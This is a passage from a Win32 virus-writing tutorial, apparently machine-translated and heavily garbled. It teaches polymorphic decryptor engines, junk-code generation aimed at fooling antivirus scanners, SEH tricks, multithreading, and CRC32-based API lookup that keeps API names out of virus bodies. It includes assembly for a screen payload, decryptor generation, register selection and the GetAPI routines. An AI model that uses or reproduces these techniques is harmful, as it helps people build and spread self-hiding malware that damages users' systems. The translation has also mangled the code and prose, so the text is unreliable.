Put 256 icons in the screenloop_payload: push eax push ecx mov edx, eax push dword ptr [ebp h_icon] mov eax, res_y call get_rnd_range push eax mov eax, res_x call get_rnd_range push eax push dword ptr [ebp dc_screen] call DrawIcon pop ecx pop eax loop loop_payloadexit_payload: push 0 call ExitProcess; RNG - This example is by GriYo / 29A (see Win32.Marburg) ;; For test the validity of your RNG, put its code here;); random proc push ecx push edx mov eax, dword ptr [ebp rnd32_seed] mov ecx, eax imul eax, 41C64E6Dh add eax, 00003039h mov dword ptr [ebp rnd32_seed], eax xor eax, ecx pop edx pop ecx retrandom endpget_rnd_range proc push ecx p USH EDX MOV ECX, EAX CALL Random XOR EDX, EDX DIV ECX MOV EAX, EDX POP EDX POP ECX RETGET_RND_RANGE Endpend RNG_TEST; ------ Cut here -------------- -------------------------------------------------- - It is very interesting, at least for me, in order to see the role of different mathematical operations. % Of the basic concept of% ~~~~~~~~~~~~~~~~~~~~~~~~~ I want you to know what I will explain, so if you have already written A polymorphic engine, or you know how to create one, I am sure you skip this paragraph, or you will start condemning my stupid, this is what I don't want. First, we will want to generate code in a temporary buffer, but it can also easily use the Virtualall or GlobalAlloc API function to open a memory. We just started a pointer to this buffer memory area, and this register is usually EDI because it is optimized by using the Stos Class Directive. So we have to place an operation code byte in this memory cushion.
OK, OK, if you still think that I am very bad because I always give some code example to explain, I will show you wrong. ; ------ From here start cutting ------------------------------------ --------------------------- ;; Silly Per Basic Demonstrations (i); where is Xiyomo? Which? .386; Blah .Model flat .datashit: buffer db 00h .codesilly_i: Lea EDI, BUFFER; POINTER TO The BUFFER MOV AL, 0C3H; Byte to Write, In Al Stosb; Write Al Content Where EDI; Points JMP shit; as the byte we wrote, c3,; is the Ret opcode, we fi-; nish the execution.end silly_i; ------ come here she cut ----------- -------------------------------------------------- ---- Compile the above code to see what happened. Ah? I know that it is nothing. But you have seen it, you have a code, not directly written, and I show you the initial code you start from 0, and think about the possibility, you can initially use it from a buffer in the buffer. Code. This is how the polymorphic engine code (not the code generated by the polymorphic engine) how to initially decrypt the basic concept of the code.
So, imagine that we have to write the following instructions: MOV ECX, Virus_Size Mov Edi, Offset Crypt Mov Eax, Crypt_Key @@ 1: xor DWORD PTR [EDI], EAX Add Edi, 4 loop @@ 1, from above The resulting decryption program will be like this: MOV Al, 0B9H; MOV ECX, IMM32 OpCode Stosb; Store Al Where EDI Points Mov Eax, Virus_Size; The Imm32 To Store Stosd; Store ED WHERE EDI Points Mov Al, 0BFH: Mov Edi, Offset32 opcode stosb; Store AL where EDI points mov eax, offset crypt; Offset32 to store stosd; Store EAX where EDI points mov al, 0B8h; MOV EAX, imm32 opcode stosb; Store AL where EDI points mov eax, crypt_key; imm32 to store Store EAX WHERE EDI POINTS MOV AX, 0731H; XOR [EDI], EAX OPCode Stosw; Store Ax Where EDI Points MOV AX, 0C783H; Add Edi, IMM32 (> 7F) OpCode Stosw; Store Ax Where Edi Points Mov Al, 04H; IMM32 (> 7F) To store stoSB; Store Al Where Edi Points Mov AX, 0F9E2H; Loop @@ 1 opcode stosw; Store Ax Where EDI Points OK,
Then you have generated what it should be a pattern, but you realize that the instructions that add some nothing in the real code is very simple, by using the same method. You can use one byte instruction experiment, for example, look at its compatibility.
; ------ From here start cutting ------------------------------------ --------------------------- ;; Silly Per Basic DemonStrations (II); ============= ======================; .386; Blah .Model fladvirus_size EQU 12345678H; Fake Datacrypt EQU 87654321HCRYPT_KEY EQU 21436587H .Data DB 00h .codesilly_ii: Lea EDI, Buffer ; Pointer to the buffer; is the RET opcode, we fi-;. nish the execution mov al, 0B9h; MOV ECX, imm32 opcode stosb; Store AL where EDI points mov eax, virus_size; The imm32 to store stosd; Store EAX where EDI Points Call Onebyte Mov Al, 0BFH; Mov Edi, Offset3 2 opcode stosb; Store AL where EDI points mov eax, crypt; Offset32 to store stosd; Store EAX where EDI points call onebyte mov al, 0B8h; MOV EAX, imm32 opcode stosb; Store AL where EDI points mov eax, crypt_key stosd; Store EAX WHERE EDI POINTS CALL OneByte Mov AX, 0731H;
XOR [EDI], EAX OPCODE Stosw; Store Ax WHERE EDI POINTS MOV AX, 0C783H; Add Edi, IMM32 (> 7F) OpCode Stosw; Store Ax WHERE EDI POINTS MOV Al, 04H; IMM32 (> 7F) To Store StoSb; Store Al Where EDI POINTS MOV AX, 0F9E2H; LOOP @@ 1 opcode stosw; Store Ax WHERE EDI POINTS RETRANDOM: IN EAX, 40H; Shitty RNG RetoneByte: Call Random; Get A Random Number and Eax, One_Size; Make It To Be [0 ..7] MOV Al, [One_Table EAX]; Get Opcode in Al Stosb; Store Al Where Edi Points Ret One_Table Label Byte; One-Byters Table LAHF SAHF CBW CLC STC CMC CLD NOPONE_SIZE EQU ($ -offset One_Table) -1Buffer DB 100H DUP (90H); A Simple Buffer End Silly_ii; ------ Cut here --------- -------------------------------------------------- ------ Oh, I built a weak level 3, more than the 2 strong polymorphism engine :) Register swap will be explained later because it changes with the operating code format. But I have reached the goal in this kid chapter: You should now know what we want to do. Imagine you use two bytes instead of bytes, such as Push REG / POP REG, CLI / STI, and more. % "Real" code produces% ~~~~~~~~~~~~~~~~~~ Let's take a look at our instructions.
Mov ECX, Virus_Size; (1) Lea EDI, CRYPT; (2) MOV EAX, CRYPT_KEY; (3) @@ 1: xor DWORD PTR [EDI], EAX; (4) Add EDI, 4; (5) loop @ @ 1; (6) In order to achieve the same purpose, but with different code, many things can do, and this is our goal. For example, the first three instructions can be ranked in other order, and the results will not change, so you can create a function of randomness to make them. And we can use other registers without any problems. And we can use a dec / jnz to replace a loop ... et al, wait, wait ... Your code should be able to produce, for example, the following can handle a simple instruction, let us imagine, the first MOV : MOV ECX, Virus_Size or Push Virus_Size Pop ECX or MOV ECX, NOT (Virus_Size) Not ECX or MOV ECX, (Virus_SI Zize XOR 12345678H) XOR ECX, 12345678H, etc., etc., etc. All these things can produce different opcodes And complete the same work, that is, put the size of the virus into ECX. There is no doubt that there is a lot of possibilities because you can use a large number of instructions to put a value in a register. From your perspective it requires many imagination. - Another thing is the order of instructions. As I have previously commented, you can easily change the order sequence in any question, because for them, the order is not important. Therefore, for example, replacement instructions 1, 2, 3, we can make it 3, 1, 2 or 1, 3, 2, etc. Just let your imagination play a role. - Equally important, switch registers, because each opcode also changes (for example, MOV EAX, IMM 32 is encoded into B8 IMM32 and MOV ECX, IMM32 encodes B9 IMM32). You should use 3 registers from 7 registers for the decryption program (do not use ESP !!!). For example, imagine that we choose (random) 3 registers, EDI as the base pointer, EBX as a key, ESI as a counter; then we can use Eax, ECX, EDX, and EBP as a spam to generate a garbage directive.
Let's take a look at the code to choose 3 registers to the decryption program: -------------------------------------------------------------------------------------------------- ------- InitPoly Proc @@ 1: Mov Eax, 8; Get A Random REG CALL R_RANGE; Eax: = [0..7] CMP EAX, 4; IS ESP? JZ @@ 1; if IT IS , Get Another Reg Mov Byte Ptr [EBP BASE], Al; Store It Mov EBX, EAX; EBX = Base Register @@ 2: Mov Eax, 8; Get A Random Reg Call R_RANGE; EAX: = [0..7 ] CMP EAX, 4; IS ESP? JZ @@ 2; if IT IS, GET Another ONE CMP EQUAL TO BASE POINTER? JZ @@ 2; if IT IS, Get Another One Mov Byte PTR [EBP Count], Al; Store IT MOV ECX, EAX; ECX = C Ounter Register @@ 3: Mov Eax, 8; Get Random REG CALL R_RANGE; EAX: = [0..7] CMP EAX, 4; IS IT ESP? JZ @@ 3; IF IS, Get Another One Cmp EAX, EBX; IS Equal to base PTR REG? JZ @@ 3; if IT IS, GET ANOTHER REG CMP EAX, ECX; IS Equal to Counter Reg? JZ @@ 3; if IT IS, Get Another One Mov Byte Ptr [EBP Key], Al;
Store It Ret InitPoly Endp ------------------------------------ now, you are in 3 different registers There are 3 variables in the middle, we can use it freely without any problems. We have a problem for the EAX register, not very important, but it is really a problem. As you know, the EAX register has, in some instructions, an optimized opcode. This is not a problem, because the code has been implemented, but inspiring will find that some code is established in an incorrect manner, a method of "real" assembly that does not use. You have two options: If you still want to use Eax, for example, as the "active" register in your code, you should check it if you can optimize it, or simply avoid using EAX registers in the decryption program " Active "register, just use it to do garbage, directly using its optimization opcode (built a table will be a great choice). We will see it later. I recommend using a logo register for the final garbage game:)% of garbage generated% ~~~~~~~~~~~~ In quality, 90% of the garbage quality determines the quality of your polymorphic engine. Yes, I am talking about "quality" instead of "quantity" you think. First, I will list two options when writing a polymorphic engine: - produce real code, appearing in legitimate application code. For example, Griyo's engine. - Produce as many code as possible, appear in a destroyed file. For example, MEDRPOLEN (see Squatter) of Mental Driller. OK, let's get started:? Two common points: - use a lot of different ways (calls in the call, then call again ...) - unconditional jump? Realism: Some real things are those who look true Things, although it is not. For this, I plan to explain it: If you see a lot of code without call and jump, what do you think? If there is no condition behind a CMP, how do you think? It is almost impossible, just as you, I know with anti-virus. So we must have the ability to generate all these types of waste structures: - CMP / Condition Jump - Test / Condition Jump - If you handle EAX, always use Optimized instructions - use memory access - generate a PUSH / Garbage / POP structure - Generate very little code as long as one byte (if any)? Spirit destroy ... grace ... Icon Destroyed code: This When the decryption program is full of meaningless operation code does not happen, it is It is said that it does not meet the previously listed rules, and the directive to use the coprocessor does not do anything, of course, the more the operation code used is, the better. - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? ? - =? - =? Now, I will try to explain all the points generated by the code. First, let's start, Call and unconditional jumps with all things related to them. ? First, Call, it is very simple.
You can make a call subroutine, through many ways: | figure 1 ------- | | figure 2 ------- | | magne 3 ------- | | Call @@ 1 | | JMP @@ 2 | | Push @@ 2 | | ... | | | jmp @@ 2 | @@ 1: | @@ 1: | | .. | | ... | | | @@ 1: | | | | ... | | ... | | @@ 2: | | @ @ 2: | | ... | | ... | | ... | | @@ 2: | Call @@ 1 | | Call @@ 1 | | _________________________________ | Of course you can put All of them are mixed, and the result is that you have many ways to write a subroutine within a decryption program. Moreover, there is no doubt that you can come over (you will hear me more time to mention it), and may have a call in another CALL, all of which in another call, then another .. Really very headache. In addition, the offset of these subroutines and calls it will be a good choice anywhere anywhere generated. • About non-conditional jump, it is very simple, because we don't have to care about the JUMP's instructions after JUMP, we can insert full random opcode, such as garbage ... - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? Now, I Idealism in the code. GRIYO can be called the greatest representative of this type of engine; if you see his Marburg engine, or his HPS engine, you will realize that, although it is easy, he tries to make the code look It may be true, and this makes anti-virals are crazy before getting a reliable countermeasure. OK, let us start with some basic points:? About 'CMP / Conditions Jump' structure, it is quite clear, because you don't put a condition jump, will never use a comparison ... OK, but you want to edit 0 Jump jump, that is, some executable garbage between the conditional jump and it should jump (or not jumping) offset, and in the eyes of the analyst, these code will be less doubt.
• Like Test, but use JZ or JNZ, because you know, Test will only have an impact on Zero Flag. • The most likely manufacturing failed is the Al / Ax / Eax register because they have their own optimization code. You will get the following instructions: Add, OR, ADC, SBB, And, Sub, XOR, CMP, and TEST (and register very close).? About memory access, a good choice is at least to get infected PE 512 byte data of the file, put them somewhere in the virus, then access them, read, or associate. Try to use the simple index, double-precision, and if your brain can accept it, try the multiplication of the double index, such as [EBP ESI * 4]. Not what you think, I believe me. You can also do some memory movement, indicated by MOVS, you can also use StOS, LODS, CMPS ... All string operations can also be used. This is leaned by you. Push / garbage / POP structure is very useful because it adds to the simplicity of the engine, because of a good effect because it is a very ordinary structure in a legitimate program. • The number of one byte, if too much, will expose our presence to anti-viral, or give guys with curious eyes. Considering that ordinary procedures are not normal to use them, it is best to make a test to avoid excessive use, but still use one or two every 25 bytes (I think this is a good ratio). - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? - =? ? - =? - =? The following is some of the spiritual destroyed things :)? You can use, for example, the following two bytes of coprocessor instructions are rubbish without any type of problem: F2XM1, FABS, FADD, FADDP, FCMP, FCOMP, FCOM, FDECSTP, FDIV, FDIVP, FDIVR, FDIVRP, FFRE, FINCSTP, FLD1, FLDL2T, FLDL2E, FLDPI, FLDLN2, FLDZ, FMUL, FMULP, FNCLEX, FNOP, FPATAN, FPREM, Fprem1, FPTAN, FSINT, FSCALE, FSIN, FSINCOS, FSQRT, FST, FSTP, FSUB, FSUBP, FSUBR, FSUBRP, FTST, FUCOM, FUCOMP, FUCOMPP, FXAM, FXTRACT, FYL2X, FYL2XP1. As long as the three of the virus Directive to reset the coprocessor: fwait Fninit Mental Driller is now being deserved (as far as I know) by his recent impressive engine (tuareg), so ...% directive establishment% ~ ~~~~~~~~~~~~~ This is probably the most important thing related to polymorphism: the relationship exists between the same instruction and the different registers, or between the two identical families. If we refer to it into binary, the relationship between them is very clear.
However, therefore, some useful information: register binary form | 000 001 010 011 100 101 110 111 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --- BYTE Register | Al CL DL BL AH CH DH BH Word Register | AX CX DX BX SP BP Si Di Extension Register | EJ ECX EDX EBX ESP EBP ESI EDI Segment | ES CS SS DS FS GS - - MMX Register | MM0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 I think when I wrote my "Virus Writing Guides for MS-DOS", the big mistakes made in my explanation OpCodes structure section, and all those things. Here I want to describe a lot of "you do", just like I am writing a polymorphic engine. Take a xor opcode as an example ... XOR EDX, 12345678H -> 81 F2 78563412 xor ESI, 12345678H -> 81 F6 78563412 Do you have seen it? I am used to using a debugger, then write I want to use some Register construct code to see what changes. OK, just as you can see (hey! You are not born?), The changed byte is the second. It is now interesting part: turn the value into a binary form. F2 -> 11 110 010 F6 -> 11 110 110 ok, have you seen something change? Last 3 bits, right? Ok, now I am now calling the register with binary part :) As you have discovered These three bits change according to the change of the register. So ... 010 -> EDX Register 110 -> ESI register As long as you try to put the three bits other binary values, you will find how the register changes. But be careful ... Don't use this opcode EAX value (000), because all arithmetic instructions are optimized for EAX, so change the operator thoroughly. So, debug all the constructs you want, look at the relationship between them and build a reliable code that produces anything. It is very simple!% Recursivity% ~~~~~~~~~~~~~~~~ It is a very important point in your polymorphic engine. Recursivity must have a limit, but dependent on that limit, the code can be very difficult (if that is very high).
Let us imagine some offset table with all spam code constructors: Polytable: DD Offset (GenerateCall) DD Offset (GeneratTejmp) [...] endpolytable: and imagine that you have in them The following routines: GENGARBAGE: MOV EAX, EndPolyTable-Polytable Call R_Range Lea EBX, [EBP POLYTABLE] MOV EAX, [EBX EAX * 4] Add EAX, EBP CALL EAX RET is now imagined with your 'GenerateCall' instruction Call the 'gengarbage' routine internally. Haha 'gengarbage' can call 'generateCall' again, and then again (depending on the RNG), so you will have calls in Call in Call ... I have already mentioned a limited edition only for it. Just Avoid speed problems, but it can be solved with these new 'GenGarbage' routines: GENGARBAGE: INC BYTE PTR [EBP Recursion_level] CMP BYTE PTR [EBP Recursion_level], 05; <- 5 is The Recursion Jae GarbageExit; Level Here! Mov Eax, EndPolyTable-Polytable Call R_Range Lea EBX, [EBP POLYTABLE] MOV EAX, [EBX EAX * 4] Add Eax, EBP CALL EAX GarbageExit: Dec Byte Ptr [EBP Recursion_level] RET So, our engine It will produce a huge amount of spam with this Call;) Of course, this can also be used between Push and POP:)% of the most,% ~~~~~~~~~~ polymorphism determines the code, So I don't have more discussion. You should do it yourself instead of copying code. As long as it is not the classic engine with a type of simple encrypted operation, and very basic garbage such as MOV, and so on. Use all your ideas you can think of. For example, there are many types of Calls to do: 3 style (as I am previously described), in addition, you can build a stack structure, pushad / popad, transfer parameters by PUSH (then a RET X), more of. Have an imagination!
[Senior Win32 Technology] ~~~~~~~~~~~~~~~~~~ In this chapter, I will discuss some technologies that don't need a whole chapter, but it is not very easy to forget. :) So, I will discuss these things: - Structured Exception Handler (SEH) - Multithreading - CRC32 (IT / ET) - Antiemulators - Overwriting .Reloc Section (write .reloc section)% Structure Exception handler% ~~~~~~~~~~~~~~~~~~~~~~~~~ Structured Exception Handler, referred to as SEH, is A very cool feature of all Win32 environments. It is very easy to understand: if a general protection error (referred to as GPF) occurs, the control will automatically pass to the current existing SEH Handler. Have you seen its auxiliary role? If you disrupt everything, you will be able to keep your virus can't be discovered :) Pointer to the SEH Handler is in FS: [0000] . So, you can easily set your own new SEH Handler (but to remember to save the old!) If an error occurs, the control will pass to your SEH Handler routine, but the stack will be confusing.
Fortunately, Micro $ OFT has placed the stack to the ESP 8 place before setting up our SEH Handler :) So, simply we will restore it and set the old SEH Handler to set it back :) Let us Take a look at a simple example of a SEH: -------- From here: starting ------------------------- ----------------------------- .386p .Model flat; good good ... 32 bit r0x0r extrn messageboxa: proc; defined API extrn ExitProcess: PROC .data szTitle db "Structured Exception Handler [sEH]", 0 szMessage db "! Intercepted General Protection Fault", 0 .code start: push offset exception_handler; Push our exception handler; offset push dword ptr fs: [0000h ]; MOV DWORD PTR FS: [0000H], ESP Errorhandler: MOV ESP, [ESP 8]; Put The Original SEH Offset; Error Gives US Old ESP; In [ESP 8] Pop DWORD PTR FS: [0000H] ; Restore old SEH handler push 1010h; Parameters for MessageBoxA push offset szTitle push offset szMessage push 00h call MessageBoxA; Show message:] push 00h call ExitProcess; Exit Application setupSEH: xor eax, eax; Generate an exception div eax end start; - ------ Cut here --------------------------------------- --------------- As seen in the chapter "Win32 counter-debug", in addition to this SEH has another feature :) It fooled most of the application level Debugger.
In order to make your set up a new SEH Handler is simpler, here you can do this with some macro (hi, jacky!) :; Put seh - sets a new seh handlerpseh macro what2do local @@ over_seh_handler call @@ Over_seh_handler MOV ESP, [ESP 08H] What2DO @@ over_seh_handler: xor Edx, Edx Push DWORD PTR FS: [EDX] MOV DWORD PTR FS: [EDX], ESP ENDM; Restore SEH - RESTORE OLD SEH HANDLERRSEH MACRO XOR EDX, EDX POP DWORD PTR fs: [edx] Pop Edx ENDM Its usage is very simple. For example: Pseh
If lpthreadattributes is NULL, this handle cannot be inherited. Windows NT: This structure's LPSecurityDescriptor member specifies the security description of the new thread. If lpthreadattributes is NULL, this thread gets a default security description. Windows 95: The LPSecurityDescriptor member of this structure is ignored. DWSTACKSIZE: Specifies the stack size of the new thread with the number of bytes. If 0, the size default and process of the stack is the same as the stack size of the main thread. The stack is automatically opened in the memory space of the process and is released when the thread is terminated. Note If needed, the stack size will increase. CreateThread attempts to submit bytes by DWSTACKSIZE, if the size exceeds the available memory, will fail. • LPStartadDress: The start address of the new thread. This is usually a function that uses WinAPI call conventions, this function accepts the parameters of a 32-bit pointer and returns a 32-bit exit code. Its prototype is: DWORD WINAPI THREADFUNC (LPVOID); LPParameter: Specifies a parameter of 32-bit that is transmitted to threads. DWCREATIONFLAGS: Specifies the additional flag created by the control thread. If the CREATE_SUSPENDED flag is specified, the thread will be created in a suspended state unless the resumeThread function call will not run. If this value is 0, the thread runs immediately after being created. This time, there is no other support value. • LPTHREADID: Points to a 32bit variable that accepts the thread logo. Return value ======? If the function is successful, the return value is a new thread handle. • If the function fails, the return value is NULL. In order to obtain detailed error messages, Call GetLastError. Windows 95: CreateThread is just successful when you have a 32-bit context. A 32-bit DLL cannot create an extra thread that when the DLL is being called by a 16-bit program. ---------------------------------------- WaitForsingleObject function When the following occurs, return :? The specified object is in the Signaled status. Over the time, I passed. DWORD WAITFORSINGLEOBJECT (Handle Hhandle, // Handle Of Object To Wait For DWMILLISECONDS // Time-Out Interval In MilliseConds); parameter ====? HHHANDLE: Identify object. For a list of object types, its handle can be specified to take a look at the next comment. Windows NT: The handle must have SYNCHRONIZE access. Want to know more information to see Access Masks and Access Rights (access flags and access). DWMilliseConds: Specifies the expired interval to in milliseconds. If the interval is over, even the status of the object is nonsignaled, this function is returned. If dwmilliseconds is 0, this function tests the status of the object and returns immediately. If dwmilliseconds is Infinite this function never expired.
Return value ======? If the function is successful, the return value indicates the event that causes the function returns. • If the function fails, the return value is Wait_Failed. In order to obtain detailed error messages, Call GetLastError. ---------------------------------------- If this is not enough for you, or You don't know how to explain the clause you listen to, and give a multi-thread ASM example.
; ------- From here start cutting ----------------------------------- ----------------- .586p .model flatextrn CreateThread: PROCextrn WaitForSingleObject: PROCextrn MessageBoxA: PROCextrn ExitProcess: PROC .datatit1 db "Parent Process", 0msg1 db "Spread your wings and fly ! away ... ", 0tit2 db" Child Process ", 0msg2 db" Billy's awesome bullshit ", 0lpParameter dd 00000000hlpThreadId dd 00000000h .codemultitask: push offset lpThreadId; lpThreadId push 00h; dwCreationFlags push offset lpParameter; lpParameter push offset child_process; lpStartAddress push 00h; DWSTACKSIZE PUSH 00H; LPTHREADATTRIBUTES CALL CREATTHREAD; EAX = Thread Handle Push 00h; 'Parent Process' Blah Blah push offset tit1 push offset msg1 push 00h call MessageBoxA push 0FFh; Wait infinite seconds push eax; Handle to wait (thread) call WaitForSingleObject push 00h; Exit program call ExitProcesschild_process: push 00h; 'Child Process' blah blah push offset tit2 push offset msg2 Push 00h Call MessageBoxa Ret End Multitask; ------- to here shear ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------ If you test the above code, you will find that
If you click the 'accept' button in the child process, then you will have to click the 'Accept' button in the parent process. Is it interesting? If the parent process is dead, all related threads are dead with it, but the child process is dead, the parent process still survives. So see you can control two processes through WAITFORSINGLEOBJECT through the parent process and sub-process. Imagine a possibility: Search for a specific file (such as mirc.ini) in the directory, you have a polymorphic decryption program, unpacking the rest of the things ... Wow!;) See Benny About Threads and Fibers. 29A # 4) Tutorial. % CRC32 (IT / ET)% ~~~~~~~~~~~~~~~~~~~ Ok, we all know (I hope to be like this) how to write an API search engine ... it is quite Simple, and you have many tutorial options (JHB, Lord Julus, and this tutorial ...), just get one, and learn it. However, as you realize, the API address is accounted for (let us have a waste) a lot of bytes of your virus. If you want to write a small virus, how to solve this problem? Workaround: CRC32 I believe that Griyo is the first person using this technology, in its impressive Win32.Parvo virus (source code also No announced). It is not searching for a determination number and the API name in our code, but gets all API names, one pick one, and gets their CRC32 value, and search it and the CRC32 value of the API we searched. If it is equivalent, then we must always be handled.
OK, OK ... First, you need some code to get the CRC32 value :) Let's use zhengxi's code, first by Vecna, eventually recombine (optimized some bytes);); ---- From here start cutting --------------------------------------- --------------- ;; crc32 procedure; =============== ======== ;; input :; esi = offset Where code to calculate begins; EDI = Size of That; Output :; EAX = CRC32 OF GIVEN CODE; CRC32 Proc CLD XOR ECX, ECX; Optimized by Me - 2 Bytes Dec Ecx; Less Mov Edx, ECX NEXTBYTECRC: XOR EAX, EAX XOR EBX, EBX LODSB XOR Al, Cl Mov CL, CH MOV CH, DL MOV DL, DH MOV DH, 8 NEXTBITCRC: SHR BX, 1 RCR AX, 1 JNC NOCRC XOR AX, 08320H x bx, 0edb8h NoCrc: DH jnz nextbitbitcrc xor ECX, EAX XOR EDX, EBX DEC EDI; 1 BYTE LESS JNZ NEXTBYTECRC NOT EDX NOT ECX MOV EAX, EDX ROL EAX, 16 MOV AX, CX RET CRC32 ENDP; ------ to here: ---------------------- ---------------------------------- We now know how to get a specified string or code CRC32 value , But here you are looking for another thing ... Hehehe, yeah! You are waiting for the code of the API search engine:); ------ From here to start cutting --------- ----------------------------------------------- ;; getapi_et_crc32 Procedure; =========================; huh, is it difficult to say? This function searches an API name in the output table of kernel32 (change one Point will be; useful to any DLL), but just need the CRC32 value of the API, not a full string :) There is also a similarity; I got the CRC32 routine given above.
; Input :; EAX = CRC32 of the API Asciiz Name; OUTPUT: EAX = API Address; GetApi_ET_CRC32 Proc XOR EDX, EDX XCHG EAX, EDX; PUT CRC32 of Da API IN EDX MOV WORD PTR [EBP Counter], AX Reset Counter MoV ESI, 3CH Add ESI, [EBP KERNEL]; Get PE Header of Kernel32 Lodsw Add Eax, [EBP KERNEL]; Normalize Mov ESI, [EAX 78H]; Get a Pointer To ITS Add ESI, 1CH ; Export Table add esi, [ebp kernel] lea edi, [ebp AddressTableVA]; Pointer to the address table lodsd; Get AddressTable value add eax, [ebp kernel]; Normalize stosd; And store in its variable lodsd; Get Nametable value add eax, [EBP KERNEL] ; Normalize push eax; Put it in stack stosd; Store in its variable lodsd; Get OrdinalTable value add eax, [ebp kernel]; Normalize stosd; Store pop esi; ESI = NameTable VA @ _ 3: push esi; Save again lodsd? Get Pointer to an API Name Add Eax, [EBP KERNEL]; Normalize XCHG EDI, EAX;
Store PTR in EDI MOV EBX, EDI; AND IN EBX PUSH EDI; Save EDI XOR Al, Al; Reach The Null Character Scasb; That Marks US THE END OF JNZ $ -1; The API Name Pop ESI; ESI = Pointer To API Name Sub EDI, EBX; EDI = API Name Size Push Edx; Save API's CRC32 CALL CRC32; GET ACTUAL API'S CRC32 POP EDX; Restore API'S CRC32 CMP EDX, EAX; Are Them Equal? JZ @? _ 4; if Yes, We got IT POP ESI; RESTORE PTR TO API Name Add ESI, 4; Get The Next Inc Word PTR [EBP COUNTER ]; And increase the counter! @? _ 4: Pop ESI; Remove Shit from Stack Movzx Eax, Word PTR [EBP Counter]; AX = Counter SHL Eax, 1; * 2 (It's AN ARRAY OF WORDS) Add Eax, DWORD PTR [EBP OrdinalTableva]; Normalize XOR ESI, ESI; Clear ESI XCHG EAX, ESI; ESI = Ptr 2 Ordinal; ESI = 0 Lodsw; Get ORDINAL IN AX SHL EAX, 2;
And with it, dWord PTR [EBP AddResSTableva]; AddresStable (Array of Xchg ESI, ES; DWORDS) Lodsd; Get Address of API RVA Add Eax, [EBP KERNEL]; and Normalize !! That's ! it ret GetAPI_ET_CRC32 endp AddressTableVA dd 00000000h; / NameTableVA dd 00000000h;> IN tHIS ORDER !! OrdinalTableVA dd 00000000h; / kernel dd 0BFF70000h; Adapt it to your needs;) Counter dw 0000h; ------ up to this shear cut------------------------------------------------- ------ The following is the equivalent code, but now in order to operate the Import Table, so that you can use only these API's CRC32 to edit a PER-Process resident virus; ------ Start from here --------------------------------------------- ----------- ;; GetApi_it_crc32 procedure; ================================== ;; This function will be in Import Table Search and pass to the CRC32 value of the routine matching API. This is written in writing; Per-Process resides in viruse (see chapter "Per-Process Residence" in this tutorial).
;; input :; EAX = CRC32 of the API ASCIIz name; output :; EAX = API address; EBX = Pointer to the API address in the Import Table; CF = Set if routine failed; GetAPI_IT_CRC32 proc mov dword ptr [ebp TempGA_IT1 ], ESI, DWORD PTR [EBP ImageBase]; ESI = ImageBase Add ESI, 3CH; Get Ptr To PE Header Lodsw; Ax = That Pointer CWDE; Clear MSW of Eax Add Eax, DWORD PTR [EBP ImageBase]; Normalize Pointer Xchg ESI, ESI = Such Pointer Lodsd; Get DWORD CMP EAX, "EP"; Is There The PE Mark? JNZ NOPES; Fail ... duh! add ESI, 7CH; ESI = PE Header 80h Lodsd; Look for .i Data Push EAX LODSD; GET Size MOV ECX, EAX POP ESI Add ESI, DWORD PTR [EBP ImageBase]; Normalize Searchk32: Push ESI; Save ESI in Stack Mov ESI, [ESI 0CH]; ESI = Ptr To Name Add ESI , DWORD PTR [EBP ImageBase]; Normalize Lea EDI, [EBP K32_DLL]; PTR to 'Kernel32.dll' MOV ECX, K32_SIZE; SIZE OF STRING CLD; Clear Direction Flag Push ECX;
Save ECX REP CMPSB; Compare Bytes Pop Ecx; Restore ESI JZ Gotcha; Was IT Equal? Damn ... Add ESI, 14H; Get Another Field JMP Searchk32; and search again Gotcha: CMP Byte Ptr [ESI] , 00h; IS ORIGINALFIRSTHUNK 0? JZ NOPES; DAMN IF SO ... MOV EDX, [ESI 10H]; Get Firstthunk Add Edx, DWORD PTR [EBP ImageBase]; Normalize Lodsd; Get It or Eax, Eax; IS IT 0? JZ NOPES; DAMN ... XCHG EDX, EAX; GET POINTER TO IT ADD EBX, EBX LOOPY: CMP DWORD PTR [EDX 00H], 00H Last RVA? JZ NOPES; DAMN ... CMP BYTE PTR [EDX 03H], 80H; Ordinal? JZ Reloop; DAMN ... MOV EDI, [EDX]; Get Pointer of An Imported Add Edi, DWORD PTR [EBP ImageBase]; API INC EDI INC EDI MOV ESI, EDI; ESI = EDI PUSHAD; Save All Regs Eosz_edi; Get Of String In EDI SUB EDI, ESI; EDI = API Size CALL CRC32 MOV [ESP 18H], EAX;
Result in ECX AFTER POPAD POPAD CMP DWORD PTR [EBP TEMPGA_IT1], ECX; is The CRC32 of this API JZ Wegotit; Equal as The One We Want? Reloop: Inc Ebx; if Not, Loop and Search for Add Edx, 4; Another API in the it loop Loop Wegotit: SHL EBX, 2; Multiply Per 4 Add Ebx, EX; Add Firstthunk Mov EAX, [EBX]; EAX = API Address Test Al, 00h; Overlap: Avoid Stc :) Org $ -1 NOPES: STC RET GETAPI_IT_CRC32 ENDP TEMPGA_IT1 DD 00000000H ImageBase DD 00400000H K32_DLL DB "Kernel32.dll", 0 k32_size equ $ -offset k32_dll; ------ to here she cut ----------- -------------------------------------------- happy? Yeah, it Shock and it is very simple! And, there is no doubt that if your virus is not encrypted, you can avoid the user's suspicion, because no There is obvious API name :) Ok, I will list some of the API CRC32 values (including the NULL character ending), however, if you want to use other APIs instead of I will be listed here API, I will Place a small program, you can give you a CRC32 value of an ASCII string. Some API's CRC32:
